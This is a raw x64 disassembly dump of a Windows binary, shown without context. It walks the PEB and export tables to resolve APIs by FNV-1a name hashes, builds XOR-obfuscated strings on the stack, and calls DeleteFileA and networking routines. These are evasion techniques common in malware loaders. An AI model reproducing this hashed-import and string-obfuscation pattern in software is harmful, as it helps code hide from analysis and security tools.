mov rcx, qword [rbp + 0x26a0]
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007d746
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007d746
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xc61de452
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007d741
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007d720
cmp r8d, 0xc92f3758
je 0x14007d74b
test r9d, r9d
jne 0x14007d700
mov rax, qword [rax]
jmp 0x14007d6d0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, qword [rbp + 0x26a8]
call rdx
nop
lea rcx, [rbp + 0x2970]
call fcn.140090180
nop
lea rcx, [rbp + 0x2b58]
call fcn.140090bf0
mov rax, qword [0x140214480]
cmp byte [rax + 0x24], 1
jne 0x140081c5f
call fcn.140051df0
call fcn.1400537a0
lea rax, [rbp + 0xde8]
mov qword [rbp + 0x2800], rax
lea rcx, [rbp + 0xde8]
call fcn.140056470
mov rbx, rax
mov byte [rbp + 0x510], Ordinal_79
mov byte [rbp + 0x511], 0x55
mov byte [rbp + 0x512], 0x5e
mov byte [rbp + 0x513], 0x43
mov byte [rbp + 0x514], 0x5f
mov byte [rbp + 0x515], 0x43
mov byte [rbp + 0x516], 0x57
mov byte [rbp + 0x517], 0x41
mov byte [rbp + 0x518], reloc.WLDAP32.dll_Ordinal_26
mov byte [rbp + 0x519], 0x50
mov byte [rbp + 0x51a], Ordinal_79
mov byte [rbp + 0x51b], 0x52
mov byte [rbp + 0x51c], 0
mov byte [rbp + 0x51d], 1
lea rdx, [rbp + 0x22e8]
lea rcx, [rbp + 0x510]
call fcn.14008ef50
nop
lea rcx, [rbp + 0x22e8]
call fcn.14004b5f0
nop
mov r8b, 1
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x22e8]
call fcn.140090bf0
call fcn.1400559f0
mov rax, qword [0x140214480]
cmp byte [rax + 0x27], 0
je 0x14007d871
call fcn.140055490
lea rax, [rbp + 0xe00]
mov qword [rbp + 0x2800], rax
lea rcx, [rbp + 0xe00]
call fcn.140055c90
mov rbx, rax
movdqa xmm0, xmmword [str.__O_DBQAQPX]
movdqu xmmword [rbp + 0x9c8], xmm0
mov byte [rbp + 0x9d8], 1
lea rdx, [rbp + 0x2308]
lea rcx, [rbp + 0x9c8]
call fcn.14008e5c0
nop
lea rcx, [rbp + 0x2308]
call fcn.14004b5f0
nop
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x2308]
call fcn.140090bf0
lea rax, [rbp + 0xe18]
mov qword [rbp + 0x2800], rax
lea rcx, [rbp + 0xe18]
call fcn.140056380
mov rbx, rax
movdqa xmm0, xmmword [str.__O_DBQAQPX]
movdqu xmmword [rbp + 0x9e0], xmm0
mov byte [rbp + 0x9f0], 1
lea rdx, [rbp + 0x2328]
lea rcx, [rbp + 0x9e0]
call fcn.14008e5c0
nop
lea rcx, [rbp + 0x2328]
call fcn.14004b5f0
nop
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x2328]
call fcn.140090bf0
movdqa xmm0, xmmword [str.__O_DBQAQPX]
movdqu xmmword [rbp + 0x9f8], xmm0
mov byte [rbp + 0xa08], 1
lea rdx, [rbp + 0x2348]
lea rcx, [rbp + 0x9f8]
call fcn.14008e5c0
nop
lea rcx, [rbp + 0x2348]
call fcn.14004b5f0
mov ecx, eax
call fcn.14004bcd0
nop
lea rcx, [rbp + 0x2348]
call fcn.140090bf0
lea rax, [rbp + 0xe30]
mov qword [rbp + 0x2800], rax
lea rcx, [rbp + 0xe30]
call fcn.140056380
mov rbx, rax
mov byte [rbp + 0x520], Ordinal_79
mov byte [rbp + 0x521], 0x55
mov byte [rbp + 0x522], 0x5e
mov byte [rbp + 0x523], 0x43
mov byte [rbp + 0x524], 0x5f
mov byte [rbp + 0x525], 0x43
mov byte [rbp + 0x526], 0x57
mov byte [rbp + 0x527], 0x41
mov byte [rbp + 0x528], reloc.WLDAP32.dll_Ordinal_26
mov byte [rbp + 0x529], 0x50
mov byte [rbp + 0x52a], Ordinal_79
mov byte [rbp + 0x52b], 0x52
mov byte [rbp + 0x52c], 0
mov byte [rbp + 0x52d], 1
lea rdx, [rbp + 0x2368]
lea rcx, [rbp + 0x520]
call fcn.14008ef50
nop
lea rcx, [rbp + 0x2368]
call fcn.14004b5f0
nop
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x2368]
call fcn.140090bf0
lea rax, [rbp + 0xf50]
mov qword [rbp + 0x2800], rax
lea rcx, [rbp + 0xf50]
call fcn.140056380
mov rbx, rax
movdqa xmm0, xmmword [0x1401ccb60]
movdqu xmmword [rbp + 0xae8], xmm0
mov byte [rbp + 0xaf8], 0x59
mov byte [rbp + 0xaf9], 0
mov byte [rbp + 0xafa], 1
lea rdx, [rbp + 0x2388]
lea rcx, [rbp + 0xae8]
call fcn.14008e550
nop
lea rcx, [rbp + 0x2388]
call fcn.14004b5f0
nop
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x2388]
call fcn.140090bf0
lea rax, [rbp + 0xf68]
mov qword [rbp + 0x2800], rax
lea rcx, [rbp + 0xf68]
call fcn.140056380
mov rbx, rax
mov byte [rbp + 0x4d0], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x4d1], 0x59
mov byte [rbp + 0x4d2], 0x48
mov byte [rbp + 0x4d3], 0x42
mov byte [rbp + 0x4d4], 0x5f
mov byte [rbp + 0x4d5], 0x5f
mov byte [rbp + 0x4d6], Ordinal_32
mov byte [rbp + 0x4d7], 0x56
mov byte [rbp + 0x4d8], Ordinal_79
mov byte [rbp + 0x4d9], 0x50
mov byte [rbp + 0x4da], 0
mov byte [rbp + 0x4db], 1
lea rdx, [rbp + 0x23a8]
lea rcx, [rbp + 0x4d0]
call fcn.14008e4e0
nop
lea rcx, [rbp + 0x23a8]
call fcn.14004b5f0
nop
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x23a8]
call fcn.140090bf0
lea rax, [rbp + 0xf80]
mov qword [rbp + 0x2800], rax
lea rcx, [rbp + 0xf80]
call fcn.140055c90
mov rbx, rax
mov byte [rbp + 0x320], 0x40
mov byte [rbp + 0x321], 0x5e
mov byte [rbp + 0x322], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x323], 0x5c
mov byte [rbp + 0x324], 0x43
mov byte [rbp + 0x325], Ordinal_32
mov byte [rbp + 0x326], 0x57
mov byte [rbp + 0x327], Ordinal_79
mov byte [rbp + 0x328], 0x51
mov byte [rbp + 0x329], 0
mov byte [rbp + 0x32a], 1
lea rdx, [rbp + 0x23c8]
lea rcx, [rbp + 0x320]
call fcn.14008f030
nop
lea rcx, [rbp + 0x23c8]
call fcn.14004b5f0
nop
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x23c8]
call fcn.140090bf0
lea rax, [rbp + 0xf98]
mov qword [rbp + 0x2800], rax
lea rcx, [rbp + 0xf98]
call fcn.140056380
mov rbx, rax
mov byte [rbp + 0x260], 0x7c
mov byte [rbp + 0x261], Ordinal_79
mov byte [rbp + 0x262], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x263], 0x7c
mov byte [rbp + 0x264], 0x46
mov byte [rbp + 0x265], 0x52
mov byte [rbp + 0x266], 0
mov byte [rbp + 0x267], 1
lea rdx, [rbp + 0x23e8]
lea rcx, [rbp + 0x260]
call fcn.14008efc0
nop
lea rcx, [rbp + 0x23e8]
call fcn.14004b9a0
nop
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x23e8]
call fcn.140090bf0
lea rax, [rbp + 0xfb0]
mov qword [rbp + 0x2800], rax
lea rcx, [rbp + 0xfb0]
call fcn.140056380
mov rbx, rax
mov byte [rbp + 0x330], 0x68
mov byte [rbp + 0x331], 0x44
mov byte [rbp + 0x332], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x333], 0x48
mov byte [rbp + 0x334], 0x64
mov byte [rbp + 0x335], 0x43
mov byte [rbp + 0x336], 0x53
mov byte [rbp + 0x337], 0x50
mov byte [rbp + 0x338], 0x5f
mov byte [rbp + 0x339], 0
mov byte [rbp + 0x33a], 1
lea rdx, [rbp + 0x2408]
lea rcx, [rbp + 0x330]
call fcn.14008f030
nop
lea rcx, [rbp + 0x2408]
call fcn.14004b9a0
nop
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x2408]
call fcn.140090bf0
lea rax, [rbp + 0xfc8]
mov qword [rbp + 0x2800], rax
lea rcx, [rbp + 0xfc8]
call fcn.140056380
mov rbx, rax
mov byte [rbp + 0x94], 0x68
mov byte [rbp + 0x95], 0x7d
mov byte [rbp + 0x96], 0x7d
mov byte [rbp + 0x97], 0
mov byte [rbp + 0x98], 1
lea rdx, [rbp + 0x2428]
lea rcx, [rbp + 0x94]
call fcn.14008eee0
nop
lea rcx, [rbp + 0x2428]
call fcn.14004b9a0
nop
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x2428]
call fcn.140090bf0
lea rax, [rbp + 0x1130]
mov qword [rbp + 0x2800], rax
lea rcx, [rbp + 0x1130]
call fcn.140055c90
mov rbx, rax
mov byte [rbp + 0x2c0], 0x68
mov byte [rbp + 0x2c1], 0x43
mov byte [rbp + 0x2c2], 0x5d
mov byte [rbp + 0x2c3], Ordinal_79
mov byte [rbp + 0x2c4], 0x51
mov byte [rbp + 0x2c5], 0x52
mov byte [rbp + 0x2c6], 0x5a
mov byte [rbp + 0x2c7], 0x56
mov byte [rbp + 0x2c8], 0
mov byte [rbp + 0x2c9], 1
lea rdx, [rbp + 0x2448]
lea rcx, [rbp + 0x2c0]
call fcn.14008e470
nop
lea rcx, [rbp + 0x2448]
call fcn.14004b9a0
nop
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x2448]
call fcn.140090bf0
mov rax, qword [0x140214480]
cmp byte [rax + 0x26], 1
jne 0x14007e368
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007df16
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007df16
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x1648debd
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007df11
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007def0
cmp r8d, 0xfee9d649
je 0x14007df1b
test r9d, r9d
jne 0x14007ded0
mov rax, qword [rax]
jmp 0x14007dea0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
lea rdx, [rbp + 0x53d0]
mov ecx, 0x104
call r8
dec eax
cmp eax, 0x103
jbe 0x14007e024
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007dfd6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007dfd6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x160407a4
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007dfd1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007dfb0
cmp r8d, 0xc233ea7f
je 0x14007dfdb
test r9d, r9d
jne 0x14007df90
mov rax, qword [rax]
jmp 0x14007df60
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edi, dword [rcx + rax*4]
add rdi, r10
lea rcx, [rbp + 0x28]
call fcn.1400877f0
mov rcx, rax
call fcn.14008bb70
mov rbx, rax
lea rcx, [rbp + 0x29]
call fcn.140087710
mov rcx, rax
call fcn.14008bbc0
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call rdi
lea rdx, [rbp + 0x53d0]
lea rcx, [rbp + 0x2c38]
call fcn.140090c30
nop
mov byte [rbp + 0x4e0], 0x7e
mov byte [rbp + 0x4e1], Ordinal_79
mov byte [rbp + 0x4e2], 0x54
mov byte [rbp + 0x4e3], Ordinal_79
mov byte [rbp + 0x4e4], 0x42
mov byte [rbp + 0x4e5], Ordinal_32
mov byte [rbp + 0x4e6], 0x58
mov byte [rbp + 0x4e7], 0x40
mov byte [rbp + 0x4e8], 0x5b
mov byte [rbp + 0x4e9], 0x5b
mov byte [rbp + 0x4ea], 0
mov byte [rbp + 0x4eb], 1
lea rdx, [rbp + 0x2468]
lea rcx, [rbp + 0x4e0]
call fcn.14008e4e0
nop
lea rdx, [rbp + 0x2468]
lea rcx, [rbp + 0x2c38]
call fcn.140090bb0
nop
lea rcx, [rbp + 0x2468]
call fcn.140090bf0
lea rcx, [rbp + 0x2c38]
call fcn.140090b20
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x14007e1ac
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007e166
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007e166
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x1baeb43f
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007e161
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007e140
cmp r8d, 0x569740ee
je 0x14007e16b
test r9d, r9d
jne 0x14007e120
mov rax, qword [rax]
jmp 0x14007e0f0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edi, dword [rcx + rax*4]
add rdi, r10
lea rcx, [rbp + 0x2a]
call fcn.140087950
mov rcx, rax
call fcn.14008bac0
mov rbx, rax
lea rcx, [rbp + 0x2b]
call fcn.140087890
mov rcx, rax
call fcn.14008bb10
jmp 0x14007e347
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword gs:[0x60]
cmp eax, 2
mov rax, qword [rcx + 0x18]
mov rax, qword [rax + 0x10]
jne 0x14007e290
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007e246
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007e246
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x2439ee2
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007e241
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007e220
cmp r8d, 0x2472c025
je 0x14007e24b
test r9d, r9d
jne 0x14007e200
mov rax, qword [rax]
jmp 0x14007e1d0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edi, dword [rcx + rax*4]
add rdi, r10
lea rcx, [rbp + 0x2c]
call fcn.140087ab0
mov rcx, rax
call fcn.14008ba10
mov rbx, rax
lea rcx, [rbp + 0x2d]
call fcn.1400879f0
mov rcx, rax
call fcn.14008ba60
jmp 0x14007e347
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007e306
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007e306
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xae9e47e6
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007e301
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007e2e0
cmp r8d, 0x84add149
je 0x14007e30b
test r9d, r9d
jne 0x14007e2c0
mov rax, qword [rax]
jmp 0x14007e290
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edi, dword [rcx + rax*4]
add rdi, r10
lea rcx, [rbp + 0x2e]
call fcn.140087c30
mov rcx, rax
call fcn.14008b960
mov rbx, rax
lea rcx, [rbp + 0x2f]
call fcn.140087b50
mov rcx, rax
call fcn.14008b9b0
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call rdi
nop
lea rcx, [rbp + 0x2c38]
call fcn.140090bf0
mov rax, qword [0x140214480]
cmp byte [rax + 0x25], 1
jne 0x14007e6d4
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007e406
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007e406
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xa8cfe469
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007e401
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007e3e0
cmp r8d, 0x7763e0c8
je 0x14007e40b
test r9d, r9d
jne 0x14007e3c0
mov rax, qword [rax]
jmp 0x14007e390
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ebx, dword [rcx + rax*4]
add rbx, r10
movdqa xmm0, xmmword [0x1401cd150]
movdqu xmmword [rbp + 0x2488], xmm0
mov byte [rbp + 0x2498], 0x79
mov byte [rbp + 0x2499], 0x77
mov byte [rbp + 0x249a], WSAStartup
mov byte [rbp + 0x249b], WSASetLastError
mov byte [rbp + 0x249c], reloc.WS2_32.dll_select
mov byte [rbp + 0x249d], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x249e], 3
mov byte [rbp + 0x249f], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x24a0], 0x64
mov byte [rbp + 0x24a1], WSASetLastError
mov byte [rbp + 0x24a2], 2
mov byte [rbp + 0x24a3], 0x67
mov byte [rbp + 0x24a4], ntohs
mov byte [rbp + 0x24a5], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x24a6], 0
mov byte [rbp + 0x24a7], 1
lea rcx, [rbp + 0x2488]
call fcn.1400614d0
mov rcx, rax
call rbx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007e546
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007e546
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x71035456
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007e541
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007e520
cmp r8d, 0xbe3fc297
je 0x14007e54b
test r9d, r9d
jne 0x14007e500
mov rax, qword [rax]
jmp 0x14007e4d0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ebx, dword [rcx + rax*4]
add rbx, r10
movdqa xmm0, xmmword [0x1401cd150]
movdqu xmmword [rbp + 0x24a8], xmm0
mov byte [rbp + 0x24b8], 0x79
mov byte [rbp + 0x24b9], 0x77
mov byte [rbp + 0x24ba], WSAStartup
mov byte [rbp + 0x24bb], WSASetLastError
mov byte [rbp + 0x24bc], reloc.WS2_32.dll_select
mov byte [rbp + 0x24bd], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x24be], 3
mov byte [rbp + 0x24bf], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x24c0], 0x64
mov byte [rbp + 0x24c1], WSASetLastError
mov byte [rbp + 0x24c2], 2
mov byte [rbp + 0x24c3], 0x67
mov byte [rbp + 0x24c4], ntohs
mov byte [rbp + 0x24c5], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x24c6], 0
mov byte [rbp + 0x24c7], 1
lea rcx, [rbp + 0x24a8]
call fcn.1400614d0
mov rcx, rax
call rbx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007e686
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007e686
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x96b332b4
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007e681
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007e660
cmp r8d, 0x2ce0c94f
je 0x14007e68b
test r9d, r9d
jne 0x14007e640
mov rax, qword [rax]
jmp 0x14007e610
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edi, dword [rcx + rax*4]
add rdi, r10
lea rcx, [rbp + 0x30]
call fcn.140087dc0
mov rcx, rax
call fcn.14008b8b0
mov rbx, rax
lea rcx, [rbp + 0x31]
call fcn.140087cd0
mov rcx, rax
call fcn.14008b900
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call rdi
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007e766
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007e766
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x30f9b90b
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007e761
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007e740
cmp r8d, 0xa535dbaa
je 0x14007e76b
test r9d, r9d
jne 0x14007e720
mov rax, qword [rax]
jmp 0x14007e6f0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edi, dword [rcx + rax*4]
add rdi, r10
lea rcx, [rbp + 0x32]
call fcn.140087f00
mov rcx, rax
call fcn.14008b840
mov rbx, rax
lea rcx, [rbp + 0x33]
call fcn.140087e60
mov rcx, rax
call fcn.14008b860
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call rdi
mov rax, qword [0x140214480]
cmp byte [rax + 0x28], 1
jne 0x140081c5f
xor r13d, r13d
mov r15d, r13d
mov r14d, 0x1fad67ce
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r12, qword [rax]
mov rsi, r12
nop dword [rax + rax]
movups xmm0, xmmword [rsi + 0x58]
movups xmmword [rbp + 0x2800], xmm0
movd eax, xmm0
sub ax, 8
test r15d, r15d
je 0x14007e84d
mov rcx, qword [rbp + 0x2808]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x65a6e466
cmp rcx, r8
je 0x14007e844
nop dword [rax]
nop word [rax + rax]
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14007e830
cmp edx, r15d
jne 0x14007e95d
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov rdi, rcx
shr rdi, 0x20
mov r11d, ecx
add r11, r9
cmp r11, r9
je 0x14007e95d
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x14007e95d
mov ebx, dword [r11 + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r8d
lea rax, [rbx + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
mov edx, 0x65a6e466
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14007e8c6
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14007e8b0
cmp edx, r14d
je 0x14007e8d5
test r8d, r8d
jne 0x14007e890
jmp 0x14007e95d
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
cmp rdx, r11
jbe 0x140081c5b
lea rax, [rdi + r11]
cmp rdx, rax
jae 0x140081c5b
mov r15d, 0x65a6e466
mov r14d, r15d
movzx eax, byte [rdx]
cmp al, 0x2e
je 0x14007e937
nop dword [rax]
nop dword [rax + rax]
movsx eax, al
xor eax, r15d
imul r15d, eax, 0x1000193
inc rdx
movzx eax, byte [rdx]
cmp al, 0x2e
jne 0x14007e920
inc rdx
movzx eax, byte [rdx]
test al, al
je 0x14007e959
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
lea rdx, [rdx + 1]
movzx eax, byte [rdx]
test al, al
jne 0x14007e941
mov rsi, qword [r12]
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r12
je 0x140077a52
cmp qword [rax + 0x30], r13
jne 0x14007e7f0
mov rdx, r13
jmp 0x140081c5b
cmp r14d, 3
jne 0x140081c6b
cmp byte [0x14021077a], 0
je 0x140081c6b
movaps xmm0, xmm15
call fcn.1400131d0
movss dword [rsp + 0x20], xmm10
movaps xmm3, xmm9
movaps xmm2, xmm10
movaps xmm1, xmm9
lea rcx, [rbp + 0x5f0]
call fcn.140002820
mov rdx, rax
xor ecx, ecx
call fcn.140004dd0
lea rcx, [rbp + 0x34]
call fcn.140087f60
mov rcx, rax
call fcn.14008b7e0
mov rcx, rax
xor r8d, r8d
xor edx, edx
call fcn.1400606f0
mov ecx, r12d
call fcn.140004e30
mov rax, qword [0x140210780]
movsd xmm1, qword [rax + 0x1c88]
